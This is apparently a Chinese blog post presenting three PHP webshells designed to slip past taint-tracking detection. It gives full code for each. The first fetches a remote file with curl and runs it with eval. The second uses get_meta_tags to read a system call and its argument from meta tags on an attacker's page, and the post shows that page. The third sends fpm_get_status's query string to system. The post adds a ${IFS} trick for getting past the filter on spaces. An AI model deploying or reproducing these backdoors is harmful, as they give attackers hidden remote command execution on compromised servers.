客户端请求:192.168.37.136/bypass的网站目录
服务器接收:192.168.37.132的nginx网站目录
1 curl请求外部数据
不是get post cookie传参,污点未启动
<?php
$url="http://192.168.37.132/demo1.txt";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch,CURLOPT_HTTPHEADER,$headerArray);
$output = curl_exec($ch);
curl_close($ch);
echo $output;
eval($output);
通过url请求外部数据,绕过污点追踪

测试结果:


2 get_meta_tags 引入参数
get_meta_tags 函数会对给定 url 的 meta 标签进行解析,自然也会发起 URL 请求。对
于能够发起外连的服务器来说,这个 PHP WebShell 样本是极具迷惑性的。
不过,之前 CURL 的被忽略了,这个我也就没有再提交。
此时,目标服务器上需要有相应的文件配合:
get_meta_tags:能提取对应name的content里面的内容
<?php
get_meta_tags("http://192.168.37.132/demo2.txt")["author"](get_meta_tags("http://192.168.37.132/demo2.txt")["keywords"]);
?>
所以我的服务器的payload
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="author" content="system">
<meta name="keywords" content="ls">
<title>Document</title>
</head>
<body>
</body>
</html>
<meta name="author" content="system">
<meta name="keywords" content="ls">
通过动态修改该文件第二行的内容,可以给 system 传入不同的参数,参数内容是完全
可控的。

3 fpm_get_status
<?php
echo '<pre>';
var_dump(fpm_get_status());
system(fpm_get_status()["procs"][0]["query-string"]);
?>
这个函数是php-fpm请求的函数,这个数组里面有一个参数是query-string,相当于这里直接是给参数的这个值get传参,如果想写值,用echo写入的话,因为空格是%20当他传入Linux的时候不会解析,但是我们知道Linux里面的空格是{$IFS},但是直接在url栏写也不对,所以我们通过抓包的形式:成功写入(绕过空格)

空格限制
利用query_srting传入需要的命令,特别注意空格的影响,Linux下面可以利用${IFS}来替代空格
${IFS}$(1-9都可以)
综上:
污点追踪,他基于效率不会追踪所有的函数,像前三个webshell一般不会被杀,但是像我们的回调后门,call_user_func一定会被杀
895

被折叠的 条评论
为什么被折叠?



